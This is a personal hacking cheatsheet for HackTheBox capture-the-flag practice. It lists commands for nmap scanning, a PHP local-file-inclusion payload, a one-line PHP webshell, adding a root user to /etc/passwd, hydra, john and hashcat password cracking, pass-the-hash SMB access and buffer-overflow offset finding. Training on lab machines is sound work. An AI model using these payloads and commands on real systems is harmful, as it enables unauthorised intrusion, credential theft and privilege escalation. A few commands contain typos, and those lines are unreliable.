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Cheatsheet for HackTheBox

Purpose

Cheatsheet for HackTheBox with common things to do while solving these CTF challenges.

Because a smart man once said:

Never google twice.

Linux General

ctrl + r

Search History reverse

Run Script at startup

chmod 755 /path/to/the/script
update-rc.d /path/to/the/script defaults

update-rc.d -f /path/to/the/script remove

Delete Script from defaults

Vim

i for insert mode

esc to leave insert mode

To be continued with macros and all this handy shit

Tmux

Config from ippsec.

#set prefix
set -g prefix C-a
bind C-a send-prefix
unbind C-b

set -g history-limit 100000
set -g allow-rename off

bind-key j command-prompt -p "Join pan from:" "join-pane -s '%%'"
bind-key s command-prompt -p "Send pane to:" "joian-pane -t '%%'"

set-window-option -g mode-keys vi

run-shell /opt/tmux-logging/logging.tmux

First press the prefix ctrl + a, then release the buttons and press the combination you want.

tmux new -s [Name]

new named session

prefix + c

create new window

prefix + ,

Rename window

prefix + #

change panes

prefix + w

list windows

prefix + %

vertical split

prefix + "

horizontal split

prefix + s #

join pane

prefix + z

zoom in/out to panes

prefix + !

make splitted part to own window

prefix + ]

enter vim mode -> search with ? in vi mode -> press space to start copying -> press prefix + ] to paste

alt + .

cycle through arguments in history

tmux kill-session -t X

kill session by tag

prefix + &

kill pane

Nmap

nmap -sV -sC -p- -oN [FILE] [IP]

Standard

nmap -p- -sV -sC -A --min-rate 1000 --max-retries 5 -oN [FILE] [IP]

Faster But ports could be overseen because of retransmissoin cap

nmap --script vuln -oN [FILE] [IP]

Local File Inclusion

http://[IP]/index.php?file=php://filter/convert.base64-encode/resource=index.php

Get the contents of all PHP files in base64 without executing them.

<?php echo passthru($_GET['cmd']); ?>

PHP Webshell

Upgrade Shell

python -c'import pty; pty.spawn("/bin/bash")'

Background Session with ctrl + z

stty raw -echo

stty -a

get row & col

stty rows X columns Y

Set rows and cols

Foreground Session again

fg #jobnumber

export XTERM=xterm-color

enable clear

Add Account/Password to /etc/passwd

Generate password

openssl passwd -1 -salt [Username] [PASSWD]

Then Add to passwd file

Username:generated password:UID:GUID:root:/root:/bin/bash

SQLMap

Capture Request with Burp.

Save Request to File.

sqlmap -r [REQUEST] --level [X] --risk [Y]

Use SSH Key

Download & save

It is necessary to change the permissions on the key file otherwise you have to enter a password!

chmod 600 [KEY]

ssh -i [KEY] [IP]

Searchsploit

searchsploit [TERM]

searchsploit -m exploits/solaris/local/19232.txt

Copy to local directory

Convert RPM Package to deb

alien [Pakage.rpm]

Bufferoverflows

Locate Overflow

patter_create.rb -l [SIZE]

Start gdb and run

r [PATTERN]

Copy the segfault String

pattern_offset.rb [SEGFAULT STRING]

Receive Match at exact offset X.

Now you know you have at X the EIP override and so much space in the buffer.

Simple exploit developement

Get Information about the binary.

checksec [Binary]

Search packetstrom for Shellcode.

Remember to use correct architecture.

Work in progress above...

SNMP

Bruteforce community string

nmap -sU -p 161 [IP] -Pn --script=snmp-brute

onesixtyone -c /usr/share/doc/onesixtyone/dict.txt [IP]

Community String is in both cases "private"

snmp-check [IP] -c public

snmpwalk -c public [IP] -v 2c

Hydra

hydra -l root -p admin 192.168.1.105 -t 4 ssh

hydra -L root -P File 192.168.1.105 -t 4 ssh

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.X http-post-form "/login:username=^USER^&password=^PASS^:F=failed"

John the ripper

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Crack zip Files

fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' "file.zip"

Note: Be careful with the quotes!

Crack openssl encrypted files

#!bin/bash
for password in $(cat /usr/share/wordlists/rockyou.txt)
do 
openssl enc -d -aes-256-cbc -a -in file.txt.enc -k $password -out $password-drupal.txt
done

After this you get one file for every Password tried.

ls -lS

Sort them by size and find the one unique size. Or try to grep the content.

Pass the hash smb

With nt hash the --pw-nt-hash flag is needed, default is ntlm!

pth-smbclient \\\\10.10.10.107\\$ -W <DOMAIN> -U <USER> -L <IP> --pw-nt-hash <HASH>

List all shares on .

pth-smbclient \\\\10.10.10.107\\<SHAR> -W <DOMAIN> -U <USER> --pw-nt-hash <HASH>

Connect to .

FTP

wget -r ftp://user:pass@server.com/

Recursively download with ftp.

SMB Null Session

smbclient //10.10.10.X/IPC$ -W Workgroup -I 10.10.10.X -U ""

WFUZZ

wfuzz -z range,1-65600 --hc 500 "http://IP:PORT/dir?parameter=id&port=FUZZ"

Fuzz a range of ids/port numbers.

Wordlist with crunch

crunch 15 15 "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*?=walkthrough%&0123456789" -t 123456789012345@ > wordlist.txt

hashcat

sha256 
hashcat --force -m 1400 --username hash.txt /usr/share/wordlists/rockyou.txt 

Basic Auth Bruteforcing

Link

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